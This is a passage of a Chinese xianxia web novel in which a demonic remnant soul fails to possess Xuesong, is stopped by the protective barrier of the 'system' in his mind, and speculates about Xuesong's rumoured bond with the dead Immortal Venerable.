“你说他?”大蚯蚓的脸色一下子变了,连手里的土也不看了,深吸一口气,冷嘲热讽道:“我还以为是谁呢!原来是他!他算什么大不了的?你在怕什么?他之前都不敢和我正面对抗,只知道转移注意力!现在难道有什么了不得的本事?我可不相信!”
“真的!真的,是真的!”小蚯蚓听见对面的话,感觉天塌了,脸色顿时一垮,转来转去说。
大蚯蚓摇了摇头,不相信他的话,收起口袋说:“我去会一会他!他在哪儿?城里面是不是?我现在就去!我要揪着他的领子,好好问一问他究竟想干什么!”
话音未落,小蚯蚓就猛然扑过来抱住他的腰,发出了杀猪般的惨叫,满脸惊慌失措和恐惧,颤巍巍抖着嗓子,声音沙哑劈叉,皱着眉头,眼眶一下子红了,如同即将撞墙劝谏的忠臣面对不可理喻的昏君一样,喊道:“不能去啊!”
与此同时,招待完一条队伍和身边的同事换班的雪松,活动了一下胳膊,把阴影中的装满了泥土的袋子挪了出来,放在了刚换班的同事身边,方便他拿。
袋子边上,一颗黑漆漆的小药丸一样大小的东西,轻轻晃了晃,好像刚醒来一样,一下子冲到了雪松面前,撞了过去。
雪松没注意,那东西就撞进了他的身体里,就像石头撞进一滩影子般的水潭里,紧接着,雪松感觉到脑中多了一个声音:“哈哈哈,我真是运气好啊,原本只是想暂时休息一下的,没想到居然能遇到一个和仙尊长得一模一样的身体,这是多么大的运气啊!”
雪松的行动停顿了一下,听见那声音旁若无人一般,接着喊道:“仙尊从前欺侮我魔族,如今我非要还回来不可!看我怎么取得这无知小儿的身体,用他的脸面出去招摇撞骗,害得他名声尽毁,叫他知道,不是不报,时候未到,就算是死了,也自然有人找他!”
雪松一听这些话就知道,刚才冲进自己身边的,是一个魔修的残魂想要借机夺舍,还和仙尊有仇,想要用他的脸去报复,感到荒谬中带着一丝可笑,不由得嘴角抽搐。
他从前那个仙尊的号虽然被销毁了,修为也下降了,但是,他的灵魂强度可不弱,比他的修为更好一些,夺舍他完全是异想天开。
更何况,他的身体里除了自己的魂魄,还有一个系统,哪怕他不出手,系统也会自动保卫他的灵魂安全,因为系统内是真有杀毒软件,代码程序一运转,效率可高了。
雪松都用不着专门插手,除非他要保留残魂来问点什么东西,虽然他暂时也没什么可问的。
他低着头,仍然去干他的活,不再关注那个残魂,那个残魂却以为他是现在都没感觉到,嘲笑他十分迟钝,已经开始畅想夺舍成功后的快乐了。
然而,下一秒,那个残魂就一头撞在了,系统自启动的病毒消杀屏障上,残魂屡次试图突破那层屏障,可惜没有效果,最后精疲力尽气喘吁吁,靠着屏障找了个角落坐下来休息。
他双目发直,喃喃道:“我错了,真的,我错了,我早该知道,仙尊是不好招惹的,长得像仙尊的,肯定也不好招惹,我怎么想不开就要挑这个人夺舍呢?真是老眼昏花!自己给自己挖坑啊!”
他突然爬起来,像是得到了灵感,一边在屏障外面转悠,一边分出一缕心神打量正在干活的雪松,若有所思,逐渐瞪大了眼睛:“我就说仙尊死得蹊跷!原来如此!”
一模一样的脸,十分熟悉的气息,若有若无的印记,似曾相识的储物戒指,成双成对的镯子……
这把十分有特点的剑,这灵魂中气息牵扯的痕迹,这似乎藏匿有人的识海——
一切都对上了!这个人,和传说中的,从来没有露过面,但十分俊美的,与仙尊相亲相爱,从无隔阂的,仙尊的道侣,一模一样!
最重要的是,从前从来没有人说,自己见过仙尊的道侣,那仙尊的道侣和他长得一模一样是完全有可能的!
残魂忽然想起了自己从前听过的一个关于仙尊的流言——
仙尊之所以常年居住在终年白雪不化的高山上,如无必要,不想外出,一旦完成任务,就立刻要回去,时时刻刻仿佛依依不舍,是因为在高山的雪中,金屋藏娇,才在外彻夜难眠,非要早早归去不可。
更有甚者说,自己曾经亲耳听过仙尊在暗中无人处,拿着联络宗门内部的令牌,用若有似无的声音,喊了一次卿卿。
众所周知,那是一个十分亲近的称呼,通常是用来称呼自己的伴侣,而仙尊在活着的时候,大家都知道他是没有伴侣的,所以听见那种传言,不过一笑置之,笃定是假的,没有必要过多理睬。
但现在看来,传言也未必不真,说不定,仙尊真的对着自己的道侣喊过,卿卿,只不过,这个称呼一听就不是真名,也就降低了传言的真实性,才没那么多人相信。
毕竟,他虽然现在是个残魂,但从前也风光过,不然,早早失去身体,熬不到现在,见过许多人,知道许多事情,那么多人,没有一个和仙尊的关联,有眼前这个人那么强——
由此可见,这个人专门来到纪念仙尊遗迹之城,表面上就是路过的时候因为外貌被拉进来了。
实际上,根本是为了掩盖真实的心情和目的,想要接近仙尊,又碍于没有明路,想要承认曾经在仙尊身侧的身份,但又不好拿出证据。
不能光明正大待在仙尊身边,也不能名正言顺陪仙尊赴死,只好隐瞒身份,暗中潜入此地,接近仙尊曾经留下的痕迹。
以此拉近和仙尊的距离,仿佛这样做,就可以把自己的名字,清清楚楚留在仙尊身边,陪伴仙尊,追随仙尊,和仙尊真正同生共死。
但他自己大概也清楚,不是就是不是,不行就是不行,仙尊已经死了,而他活着,生死之间,横跨万千。
他要是突然冒出来,对所有人说,自己是仙尊的道侣,就完全是在毁坏仙尊的名声,和在其他人眼中的形象。
他如果真的爱仙尊,就不应该做,也不能做这样的事,必须要克制自己,也不得不克制,能来这里接近仙尊留下的痕迹,也许已经是他最能允许自己靠近仙尊的时候了。
所以他才会不公布自己的身份,只是悄无声息进来,还给自己找个理由,好像并不是为了仙尊来的。
实际上,他心里应该比谁都清楚,否则,没有必要在灵魂里还要竖一道屏障,如果不是遇到残魂,这道屏障是在防什么?
他总不可能提前知道自己会在这里遇到残魂想要夺舍身体吧?且不说他是否精通卜卦之术,就说他今天出门之前有没有给自己占卜,那都是不一定的。
更何况,就算会,也不见得每天出门都算一次,这挺麻烦的,最重要的是,大多数算命的都知道,自己最好别给自己算。
一来是不准,二来是容易越算越薄,还有就是,有些东西能改,有些东西不能改,如果能改还好,改了也就高兴了,如果不能改,知道了,却无动于衷,很是伤神。
知道了,拼命努力,却仍然一无所获,更加容易让人受到打击,还不如,如无必要,顺其自然。那么多半是没算过的。
这屏障显然也不是今天才立起来的,一看就有年头了,还很有作用,不可能是随便搞的,那防什么,就是一件显而易见的事了!
除了提防被人意外侵入灵魂,察觉到曾经和仙尊是道侣的事,还能有什么呢?
竟然宁愿如此严密防护灵魂,也不肯让人知道自己曾经是仙尊道侣这种独一无二的特殊身份吗?竟然不以此来换取好处?
真叫魔修大开眼界!
难怪魔修和仙尊势不两立,更当不了仙尊的道侣,如果是魔修,只怕早就叫嚷开了,让世界上的所有人都知道,来给自己送好处!
可惜啊,可惜,这么好的身份怎么落在一个毛头小子手里?残魂不由得心中十分唏嘘,但凡这种好身份落在他手里,他不知该有多么逍遥快活!
根本用不着变成残魂,就算变成残魂,大约也有数不清的人愿意给他想办法帮忙重塑身体,或者重新找来一具崭新的!
他又何必像现在这样忙忙碌碌还一无所获,大受打击呢?有些人真是守着宝库却不用,真叫人嫉妒得眼红啊!可恨可恨!
残魂越想越气,气得咬牙。
他忍不住一下子向面前的屏障拍过去一团自己过去的记忆,向里面的灵魂大声问:“安庆八年春,沸沸扬扬的关于仙尊道侣的传言甚嚣尘上,传言里说的那个疑似仙尊道侣的人,是不是你?”
雪松已经干完了活,正坐在摊子后面的小板凳上休息,听见残魂贸然一问,又感觉到他拍出了一团记忆,有些好奇,他究竟给了什么东西。
虽然残魂有可能在里面藏病毒之类的攻击,但是,有系统在,倒也不用太担心,雪松就看了一眼。
记忆中,那是一个朦朦胧胧的雨天,雨水轻如薄丝,满地青绿,融融向上,清清的溪水往远处淌去。
哗啦啦的水声中,圆圆的石子一层叠着一层,偶然间有一尾手指长的银麟小鱼在水中一闪而过,如同一道猝然而逝的闪电。
溪水两旁,是迎风飘扬的绿柳,溪水之上,是一座弯弯的拱桥,拱桥中间有大小不一的圆洞,一个接着一个,像失去嘴唇的笑脸。
桥上有一个薄雾中,背对着观者,向远处走去的轻飘飘的白影,他的手上戴着两个镯子,手里拿着一把剑,脖子上有一条细丝,底下是一颗小小的红豆,手指上戴着一个红宝石储物戒指……
整船记忆都弥漫着一种模糊不清的,幻觉一般的恍惚,清凉、忧郁、飘忽不定、若隐若现、似是而非,还有水洗一般的,梦中薄荷一样的,幽幽的绿。
雪松看了看自己,白色衣服,又看了看手镯和戒指,再看了看收起来的剑,抬头望了望,周围不知什么时候弥漫起的雾……
确实有点像,除了没站在桥上,周围也没下雨。但只是有点像而已,又不是一模一样。更何况,记忆里那个人根本没露脸!
那不是幻觉,就是想象,反正雪松不觉得那可能是真的。
“那不是我。”雪松从来不记得有那么一回事。
他往周围看了看,周围的摊子还在招待客人,许多摊子的员工都穿着白色的衣服,就像是一种统一的制服一样,因此他说:“你看他们,他们也穿白色,这一点也不稀奇,到处都有,不必认为是我!”
雪松又低头看了看自己手上的戒指和镯子,眯着眼睛,有一点想笑,虽然被误认为有道侣,是一件于他而言,很值得不高兴的事情,但是一想到有人在暗中传他,金屋藏娇什么的,实际上根本没有,就觉得很好笑:“更何况,我觉得,别说现在仙尊死了,死无对证,就是他活着,他也不会觉得,我是他的道侣的。”
这可是大实话!仙尊要是活着,他现在这个号其实没必要继续下去,反正仙尊的修为那么高,上来就是顶级修为,他又有什么可努力修炼的呢?干嘛白费力气?纯折磨自己!
就好像一个人已经很有钱了之后,就不会再努力赚钱了,毕竟,为了已经拥有的钱,而去消耗自己的健康,是很不值得的事。
那么,仙尊要是活着,即使要被迫承认,雪松就是他的道侣,雪松也会为了避免被别人讨论,而想办法搞死现在这个号的。
到时候,雪松死了,仙尊活着,只要说自己复活的时候失忆了,别人又找不到雪松,他也可以坚定表示,根本没有道侣那么一回事。那不就等于,仙尊活着也不会觉得雪松是他的道侣?一点问题也没有!
不过,真是奇怪,怎么不管是修仙者还是魔修,总有人觉得,他一定是仙尊的道侣呢?他身上又没标签!
残魂听见雪松的回答,眨了眨眼睛,有点想扶一扶自己不存在的眼镜:“穿白色的人确实到处都有,但是像你这样如此契合流言描述,如此对应其中身份的人,迄今为止,我可只见到你一个!”
在残魂的眼里,雪松身上那种独属于其他人对于仙尊道侣想象的,强势中带着温婉柔和又似曾相识的感觉,根本是其他人所完全不能比的!
雪松眨了眨眼睛,缓和了一下笑意,站起身,结束了休息,继续小摊上的帮忙,努力维持着平静:“总之,你们一定找错人了!”
残魂听见你们两个字,立刻意识到除了自己,还有别人认为雪松就是仙尊的道侣,不由得瞪大了眼睛:“你还说你不是?大家都觉得你是!你一定是!就算我认错了,总不至于每一个把你认成仙尊道侣的人都认错了吧?你身上有一种……”
一种让人感觉一定是仙尊道侣的气质。
残魂顿了顿,突然想到,雪松明明一看就是仙尊的道侣,尤其是在对仙尊道侣这个身份稍有了解的人面前,身上那些不加掩饰的东西,根本就是盖章认证。否认有什么用?
但偏偏雪松在他面前极力否认,难道很不想让他知道这段关系?那留着那些东西是什么意思?舍不得丢?睹物思人?无可奈何?
难道,他曾经被转化成魔修,又侥幸得到仙尊的救治,重新转回了修仙者,才想和魔修撇清关系,哪怕只是一缕残魂?
就是这样!
所以雪松才会若无其事来到这里,却不表明身份,因为他怕别人查出他的过去,玷污了仙尊的名声!
所以雪松才会带着和仙尊有关系的储物戒指,却不肯换一个,或者取下来,因为他爱仙尊爱到无法自拔,就想带着这个!
所以雪松才带着那两个手镯,像枷锁,像囚徒,像有一条无形的锁链,束缚着他,他是在为曾经的自己赎罪,也是在为仙尊祈祷。
原来如此,原来如此!他浑身上下的每一件东西都有用处!都和仙尊有关!他一定是仙尊的道侣!
可明明是仙尊的道侣,现在不去靠近广场中仙尊的雕塑,却若无其事在一个普通的小土壤摊子上,消磨时间,打包土壤,究竟是为什么?
等等——
残魂忽然想起,曾听说,在灵魂中构建屏障,可以复活魂飞魄散之人。
第94章
按照正常情况, 听见那个传言的人都会想,这算什么办法?这怎么可能?这一定是假的!绝对不能相信!否则,就是傻了!
且不说, 复活本来就是逆天之举, 轻易不可能成功,一般人也不会知道, 应该怎么办, 要是有魂飞魄散的,那绝对比普通的死人复活起来更麻烦。
真有能复活的办法, 怎么可能这么轻而易举流传出来让所有人知道?还这么简单?好像随便一想就可以做到一样!这绝对不可能!
天底下哪有这种的好事?即使真有,也绝对被人藏着掖着, 轻易不肯告诉其他人, 更何况是, 到这种人尽皆知的地步了, 却没有一个成功的例子,可想而知根本就是假的。
因为如果是真的, 至少, 要成功一个吧?毕竟听起来是那么简单的东西,又有那么多人知道,难道知道这消息的那么多人之中,没有一个想要尝试复活自己身边的人的吗?
世界里每天死掉的人数不胜数,知道消息的人,身边不可能没有一个死掉的人, 更不见得,一定没有人想复活。
说不定是试过了,但是失败了,心灰意冷, 所以不想说话,又或者是,完全放弃了,没有交流的意愿,直接闭了死关,根本不出来,也就没人知道。
不对——
残魂突然想到,他光记得思考传言是真是假,却全然忘了一个最重要的事,传言中的屏障就在他的面前,几乎被所有人认为魂飞魄散的仙尊气息就在他的感知之中,而他现在所停留的身体,是个疑似仙尊道侣的人。
仙尊会不会也听说过那个传言,为了确认是真是假,尝试过,险些成功,但为了安全起见,没有公开,只是对自己身边的人提起,而听过的人,比如这个疑似仙尊道侣的,觉得以后或许有用,记了下来,直到现在——
仙尊是真的死了,魂飞魄散,他记起了仙尊曾经对他说起过的复活的办法,偷偷摸摸,用仙尊用过的办法,把仙尊复活了?
虽然没有完全复活,但一定不是一点变化都没有,否则,这里怎么会有仙尊那么浓郁的气息?
一个已经死掉,而且魂飞魄散的人,是完全不可能在别人的身体识海之内,遗留下这么浓的气息的。
残魂后知后觉想到,假如雪松真的用了仙尊曾经教授的办法来尝试复活仙尊,按照那个所有人都觉得,根本不可能真正复活谁的办法,秘密一定在面前的屏障之中!
说不定他可以通过研究这面屏障来感知里外的情况,以此窥见其中的秘密,得以确认仙尊和这个人的真正关系,又究竟在屏障里做了什么别人不知道的改动!
残魂开始观察起面前的这层十分坚固的屏障来,近在咫尺,高大宽宏,密不透风,遮得严严实实,水泄不通,一层几乎堪称完美的防护。
残魂下意识想伸出手去摸一摸,随后又想起来,这是在别人的识海里,而不是他自己的。
万一这上面有什么,他一碰就受到攻击,那可就不好了,他的灵魂现在比起全盛时期是很虚弱的,一不小心就完全死掉了。
他可不想事情还没搞清楚,人就没了,他不是仙尊,没有一个恰好知道究竟应该怎么复活魂魄残片的道侣,可不会那么容易活过来。
更何况,他现在不是在什么小猫小狗的身体里,而是待在一个疑似仙尊伴侣的人的身体里,后者比前者,可要危险多了,他必须慎重。
他考虑之后把手收了回去,开始一边看,一边背着手,像是公园遛弯的老大爷一样,在屏障外面,一步一步走着,仔细观察。
他既不是屏障的创造者,也不是屏障的拥有者,更不是屏障的保护者,只能作为一个被抵抗在外的疑似入侵者的旁观者的角度,来观察这个东西。
这显然限制了他很多,让他不能立刻了解一个刚出生的婴儿一样,了解这个屏障的一切。
幸好,他现在的魂魄安全,没有受到什么太大影响的情况下,这也算是有乐趣。
老实说,他无聊很久了,毕竟一个魂魄,想要苟延残喘下去,就不能把很多时间都放在寻欢作乐上面,除非他本来就想死。
那又是另外一回事,而且他很确定自己现在还不想死,无论如何,苦中作乐是他必要做的,否则他根本扛不到现在,早就疯了。
其实,老是想找乐子,也是他当魔修的原因,他太想找乐子了,根本不愿意委屈自己,那就只好委屈别人了,久而久之,即使本来不是魔修,也早晚会变成魔修的。
他一想,既然如此,又何必挣扎呢?那些正道修士平日里修身养性,不是最喜欢对弟子说什么,顺其自然的鬼话吗?他也是听过。
怎么不能算是他们坑了他呢?又或者,因果循环,报应不爽,他们影响了他,他坑了他们,算他们活该,因为这是他们的报应。
正想着,残魂移动的脚步忽然停了下来,背着的手也松开了,拿到了身侧,下意识又想摸过去,但是控制住了,想了想,弯着腰把脸凑了过去,瞪大了眼睛,像一条脖子前倾的蛇一样,仔仔细细看了起来——
在他面前的屏障上,有一个小小的太阳花似的花纹,半透明的,若隐若现,很漂亮,但也很不能引人注意,差点就要被忽略掉了。
幸好他路过的时候,确实仔细看了,这才发现。他不是没有见过别人的灵魂识海中的屏障,但屏障和屏障亦有区别。
有些屏障,只是单纯为了防止被偷袭,或者为自己巩固灵魂的边界,又或者是什么新奇的小实验,娱乐的法术,也可能是装饰。
那是没有什么好说的,也没有什么好看的,见到的时候自然能认出来,也不需要太费功夫,去想办法找到弱点,再击破,因为随便用点力,那些屏障就会像水中的泡沫一样破裂。
但是面前这个不一样,这是从来没有见过的,疑似正在保护复活中的仙尊残魂的屏障,而且不是在仙尊的识海里,出乎意料,独一无二,就算来的是别人,多半也会被吸引的。
所以,残魂并不觉得,自己本来想要夺舍,结果来到这里被挡住之后,就开始研究屏障,有什么不对。
他往左右看了看,确认识海的主人也就是雪松,并没有注意他,也不知道是觉得他没有办法造成危险,还是打算有空了再慢慢收拾他,总之,现在他还有时间。
他一边为此感到庆幸,一边眼疾手快开始思索脑中可用的法术,并用了出来,轻轻把那团白色的毛茸茸的法术的光晕,用手托着,像托一团轻飘飘的蒲公英,去触碰那个刚才发现的屏障上的太阳花纹样。
就在法术触碰到纹样的一瞬间,他浑身一颤,如同被电击了一样,瞪大了眼睛,后背啪的一声绷直,好像被狠狠打了一巴掌。
但最重要的不是这个,因为他的法术起效了,他其实没想到这个法术这么有用,他只是想试探试探,效果好到不可思议的地步,就好像这里的主人并没对他加以抵抗一样。
但这应该不可能才对,因为他只是一个外来者,一个攻击者,一个偷袭者,还是一个魔修,此地的主人既然在这里建了屏障,又怎么可能不防护他呢?除非——
此地的主人觉得,有屏障在,他做的一切都徒劳无功,不会对这里的灵魂造成任何影响,才会这样放任自流,好像给了他很大的信任和权力一样。
实际上,既可以说是看不起他,也可以说是对仙尊改良过的法术,效果的满意和自傲,也可能二者都有。
究竟是哪一种?残魂忍不住想,不管是哪一种,都让我来试一试吧!我好奇,而且有这个时间。也许上天把我安排到这里,就是为了让我干这个。
我干这个会高兴,那么我应该干这个,我不能辜负上天,更不能辜负我自己,不然我白来了,也白活到今天。
残魂做好决定之后恢复了平静,深吸一口气,立刻开始了更加仔细的对于法术反馈的感知,甚至不知不觉闭上了眼睛——
要知道他现在还是在雪松的识海里,而且还是在屏障之外,他把眼睛一闭上,就等于放弃抵抗,雪松真要是想杀他,这个时候只要稍微一动念头,他几乎是瞬间就可以灰飞烟灭。
因为修仙者对于自己的识海的掌控力,是非常高的,完全可以等同于,造物主对自己创造的世界,所能拥有的最大的权力。
系统能够很清楚看到那个残魂在屏障外面的一举一动,也能感觉到那个残魂在屏障外面使用了法术感知屏障上的花纹,虽然觉得这种举动没有任何用处,但还是感到不满。
毕竟他就在屏障里面,不管那个残魂对屏障做什么,或者对于屏障里有什么渴求好奇,都会对他造成影响,他不是很能容忍这个。
更何况,这里是雪松的识海,从前到后,除了雪松,就只有他在这,他几乎把这里当做自己的地盘看,最多把雪松放在头顶上。
这突然冒出来一个魔修的残魂,是想要怎么样?他可不愿意让这种东西骑到自己的头上!
他皱着眉头,死死隔着屏障盯着外面的那个一脸陶醉的残魂,有一种累了二十八天躺在家里想要睡觉的时候,听见窗户外面墙根底下,有一只使劲沙哑着嗓子,发出小孩哭泣一般的声音的,叫好几个小时春的猫的烦躁感觉,恨不得出去把猫杀了,向雪松发牢骚:“我不能把他杀了吗?
他很讨厌!他怎么敢的?这又不是他的地方!这么嚣张给谁看?真以为没人注意吗?他甚至不肯滚回自己的识海里去!难道他没有吗?”
雪松并不是很在乎,因为那个残魂实在太弱了,没有危险性,虽然有攻击性,但没什么大用,就算没有系统,雪松也不怕他。
更何况,现在系统好端端还在里面,那个残魂要是真能突破屏障进入识海之内,见到了系统,只怕会被忍耐到暴躁愤怒的系统狠狠揍一顿,打成折叠款,丢到回收站去。
因此雪松对系统语气温和而平静安慰道:“他跑不出去的,等他想起来的时候,你再对他动手就是了,我想他一时半会儿还不至于消失的,摊子上的事情还没忙完,他就交给你看着了?”
系统虽然不乐意,但是哼哼两声,也勉强答应了:“好吧,看在你的份上,但如果他今天不死,等到他搞完这些没用的东西之后,我一定把他揍成旋转折叠款!”
“都随你,你安排就是了。”雪松含着笑意回答。
系统点了点头,不再言语,心情好了不少,一想到用不了多久,就可以狠狠揍那个讨厌的东西,已经开始握拳头了。
至于残魂,虽然对此一无所知,但其实在夺舍没有成功的时候,就已经大致猜到了自己的结局,心情是有些沉重,不过很快就被屏障夺取了注意力。
他是一边想着今朝有酒今朝醉,一边觉得,自己好歹活了那么久,再怎么样也不至于连一个毛头小子也对付不了,人就好了很多,其他的也在乎不了,毕竟在乎了也没用,只有那么放着,先解决最要紧的了。
在残魂用法术得来的感知之中,好巧不巧,得到的全是一些模糊的片段:
在宗门的新生试炼秘境里,雪松站在找寻到的属于仙尊的洞府门口,隔着长青看着对面的一群人,其中一个领头的瞪大眼睛,一副震惊至极的样子,喊道:“他是仙尊的道侣?!”说完就倒了下去。
在一个小房子里,雪松对面站着一个红衣女子,面前是一个盒子,盒子里放着一把剑,旁边站着一个长青,一脸冷笑道:“仙尊无所不知,怎么会不知道,这种盒子在当地是用来装聘礼的?你别为他说话了!”
在一个寺庙里,雪松面前是一面镜子,镜子里映照出皑皑白雪的高山,一个模糊的房子的影子,一个一身白衣的练剑人,任谁看了都会一眼认出,这根本就是仙尊!
在一个旅店的房间里,雪松的旁边躺着一个人,而这个人赫然长着仙尊的脸,穿着一身十分普通又合适的白睡衣,两个人完全就是,温存一夜之后,紧紧相拥而眠后的样子!
在一条小溪边,绿柳旁,微风拂过,白衣持剑的仙尊身旁是鲜血淋漓的巨大怪物的尸体,眉目温和,声音轻柔,注视着面前的雪松,表情虽然平静,却莫名让人觉得他眼中闪烁着一种注视失而复得珍宝的泪光,口中念道:“昔我往矣,杨柳依依。”
小木屋中,相对而坐的雪松和仙尊,面对面,仙尊却似乎不好意思看他,欲言又止,向他低声问:“你……孩子……”与此同时,雪松满脸惊讶,砰的一声站起来,险些打翻凳子。
审判席上,雪松一脸平静,不远处站着一个男道人,大声说:“仙尊创造过关于让一个魔修逆转经脉重新变回修士的办法,交给了他!”四周一片哗然。
与此同时,雪松抽空看了一眼残魂,发现他正在抽搐,好像被电击了,还不能松手一样,有些疑惑问系统:“你攻击他了?”
系统哼哼笑了起来,声音里充满了旁观的愉悦:“我可没有!只不过是在屏障建立之初,因为这里是你的识海,所以不可避免会带有一些你记忆深刻的东西。
我不想让可能出现在这里的人知道那些事,至少不能清清楚楚都知道,所以我一开始就在屏障里面刻下了致幻的阵法,他现在大概是遇上了,阵法正在起效,要过好一阵子才能恢复呢!”
雪松将信将疑,点了点头:“那他应该暂时不会乱跑了?”
“好长一段时间都不能乱跑了!”系统笑着回答。
“很好,能安静一点,”雪松点了点头,若有所思,“看来没什么需要担心的?”
“是的。”系统给了肯定回答。
雪松不再问什么了。
在一阵好长的抽搐之后,残魂就像是喝了假酒一样,砰的一声躺在地上,脸上微微发红,好像灵魂即将从身体里抽离。
虽然他现在根本没有身体,只剩灵魂,还不是完整的灵魂,但是,他脸上的表情显然就是那么一回事。
系统有些好奇,他究竟在想什么,于是隔着屏障凑近了,勘查了他一下,立刻就被他满脑子的乱糟糟的话炸了个满脸,不由得皱着眉头,充满嫌弃往后退了退,拉开距离之后才觉得好了一点。
他的脑子里有许许多多的声音,这是不正常的,因为大多数人只有一个灵魂,哪怕这个灵魂残缺了,脑子里的声音也不会更多。
但考虑到他是一个魔修,出现在这里之前,很有可能已经夺舍过许多其他人或者动物,活的时间如果再长一些,精神状态不正常一些,脑子里有各种各样完全不同的声音,也不是不可能——
“太好笑了!外面到处都有人在猜测,仙尊活了那么长时间,那么高的修为,那么多的任务,满世界天南海北,到处转来转去,有没有可能在什么地方藏着什么不为人知的关系,没有一个找到的!让我们撞着了!”
“居然和仙尊在同一个宗门,还在新生训练场地被同门弟子知道,和仙尊的关系?这也太大胆,太狂放,太了不起了!仙尊瞒了那么久的事情,一下子就被揭开了!不知道仙尊活过来会不会干什么?”
“仙尊给他送礼物,送的还是聘礼,他还真收了,刚才在外面看见他还一直在用,那把剑就是仙尊送给他的那把吧?!太爱了,真是太爱了!”
“他和仙尊……是久别重逢还是青梅竹马,看不出来呢?但是他们有个孩子唉!他看起来完全不像有孩子的样子,那么,那个孩子是已经死掉了,还是出生了?还是已经被送走了?真是个大谜团!不知道仙尊知不知道?”
“他自己的孩子应该知道吧,不然怎么会在见面的时候提?以仙尊那种修为,不管哪里要是有他的血脉,他一定第一时间知道的,因为他们之间是有感应的,天道和高修为的修仙者就是这么的,有联系!”
“他们还同床共枕,我的天!这算不算亲眼见证?虽然我们当时并没有在旁边,不过真的在旁边的话就太变态了,虽然现在也没好多少,但是这不能怪我们,我们本来不是要看这个的……但还是好刺激啊!”
“如果我们真的在仙尊旁边,旁观这种事一定会被打死的,但是现在还活着耶!这就是仙尊已经死掉的好处吗?他的道侣真是平易近人啊!难怪他们能当道侣呢!”
躺在地上抽搐了半天的残魂,猛然一个激灵,从地上坐了起来,脸上露出一个思考的神色,像是想说什么,欲言又止的样子,还没说出来,突然砰的一声又躺了回去,像是骨头突然断了似的。
他的脑子里对其他的曾经被他吞噬的魂魄们喊道:“你们给我闭嘴,真是吵死了!你们能知道这些都是因为我!不要再添乱了!一群没用的废物东西!”
脑子里短暂安静的一瞬间,但紧接着,那些曾经被夺舍的魂魄遗留下来的意识,在残魂的脑子里爆发出了更激烈的冲突和争吵。
残魂一时没有准备,额了一声,后脑勺猛然磕在了地板上,两眼一翻就晕了过去,但晕过去之前,他忽然想,这些东西不只是吵,而且毫无自知之明,还有雪松,这个雪松和仙尊的关系,明摆着非比寻常!我要……我要干什么……来着?
他失去了意识。
等他再醒过来的时候,他已经被没控制住的系统狠狠揍了一顿,浑身上下青青紫紫,连肋骨都断了两根,腿也没办法动了,低头一看,原来是两条腿都已经折了,膝盖骨碎掉了,腿骨从膝盖中间的伤口冲了出来,像是两条不平行的交叉线,靠在了一起,血肉模糊,十分可怕。
不过幸好他现在只是一个残魂,这些伤势看起来严重,也确实带给他痛苦和行动不便,还有一些灵魂上的损失,但是,只要他想,眨眨眼睛的时间,外表上的伤势就能恢复如初。
虽然里面还是烂的,但是不要紧,他也未必能活到多久,烂就烂吧,再说他本来就是个残魂,也不是很需要计较这些事。
他用力量恢复了自己的身体,重新得到了完好无损的外表,勉强从地上爬了起来,身体深处还是痛的,或者说灵魂深处。
不过,起来之后好多了,他跺了跺脚,就像是试图把一个管子插到另外一个管子里面,觉得自己的身体里面的骨头稍微严实了一些,没有那么容易散架了,呼了一口气,感到稍微轻松些。
这时候他又想起了昏迷之前的事。
虽然想办法和收集材料,尝试着复活一个已经魂飞魄散的修为极高的人,是一件非常得不偿失,很没有必要,而且异常困难的事。
那如果雪松真的使用仙尊曾经给他的改良过的复活办法,来把仙尊已经碎得像是粉碎性骨折的骨灰一样的灵魂拼凑完整,还真的把人复活了,那可就不能算是得不偿失了!
要知道,仙尊的修为是众所周知的高,真要是被复活了,当个高修为的保镖是绝对够格的,那复活仙尊的雪松的安全是绝对有保障的,活一天赚一天!
活得越久,赚的越多!早晚有一天,能把付出的东西都赚回来,说不定还有更多!怎么不算大买卖呢?
其次,仙尊和雪松的关系似乎是非常好的,那就算从感情上来讲,如果仙尊真的复活了,和雪松的感情一定更好,这也不亏。
再其次,这种事是前无古人后无来者的,真要是办成了,属于是仙尊出理论和最重要的基础材料,雪松出实践和结果,绝对能得到超级大的名声!还是他们一起的!
难以想象他们到时候会好到什么地步……算了,这种事情就不用想了……谁会希望知道小情侣究竟有多么蜜里调油啊?!见鬼!
总之事情如果真的成了,其实是稳赚不赔的,只不过,亏本的概率更大,需要付出的东西太多,时间线也可能被拉得很长。
大多数人都承受不起,这些前期需要给出去的东西……这才导致大多数人既没有门路,也办不成,这么想想还蛮心酸的……
残魂坐在地上,若有所思,摸了摸自己的下巴。难道,雪松做这一切的事情,目的真的只是想,复活魂飞魄散的仙尊吗?
不管怎么看,都应该追求更多更大的东西,比如名声,比如事情办成之后开班授课,以此赚取利益,又或者是当宗门的活招牌……
总不能真的是为了和仙尊双宿双飞,之后同生共死吧?那也太执迷不悟了!有这些时间精力和东西,做什么不好,非要做这个?
只怕仙尊本人也未必愿意!那雪松其实是强迫仙尊来的?没想到他们两个是这种诡异的反方向风味!
难怪在之前看见的那些东西里面,雪松老是否认和仙尊的关系,是不想暴露自己的目的,免得被人劝阻和影响吧?
对于雪松这种一意孤行要复活仙尊的情况来说,就算大多数人的第一反应,不是劝说他不要办这件事比较好,也肯定希望他不要干,而他不管是拒绝还是沉默,都会影响时间和精力,那就会拖延复活的进度……
所以,直接否认,是最简单最直接,而且可能是最有效的办法,因为否认了之后,大多数人没有了出发点,都不能继续说下去,也就省了很多时间。
难道他真是天才?!
残魂陷入了沉默。
好符合当初流言之中,其他人对于仙尊道侣的想象啊!就是那种,任劳任怨,痴心不改,一如既往,爱恨如水般淡雅,如酒一般热烈,让人一看就理所当然发出感慨,啊,这应该就是仙尊的道侣了……那种感觉!
当初传言怎么说的?
传言说,仙尊的道侣应该是一个,温柔和善,看起来没有一丝一毫的攻击性,但又浑身上下充满了仙尊的气息,和仙尊拥有相似的气质,相似的打扮,相似的背影的人……
他会全心全意听从仙尊,追随仙尊,既可以在仙尊活着的时候,为仙尊马首是瞻,也可以在仙尊死后,一意孤行,做自己认为应该做的事,而不是仙尊认为应该做的事——
正所谓,“在天愿作比翼鸟,在地愿为连理枝,天长地久有穷时,此恨绵绵无绝期”。
至于现在的仙尊要是知道正在发生的事,可能有什么感想,那恐怕是——“长恨此身非我有,何时忘却营营”。
要说仙尊对雪松的期许,那就得是“小舟从此逝,江海寄余生”了。毕竟,以仙尊活着的时候的情况来看,他大概是不希望自己的道侣卷入争端的。
他看起来是更希望对方能平平安安活到老死的那种人,活不到也没关系,只要高兴就好。
但要是既不高兴,也不能寿终正寝,那可就是“无奈朝来寒雨晚来风……自是人生常恨水长东”。
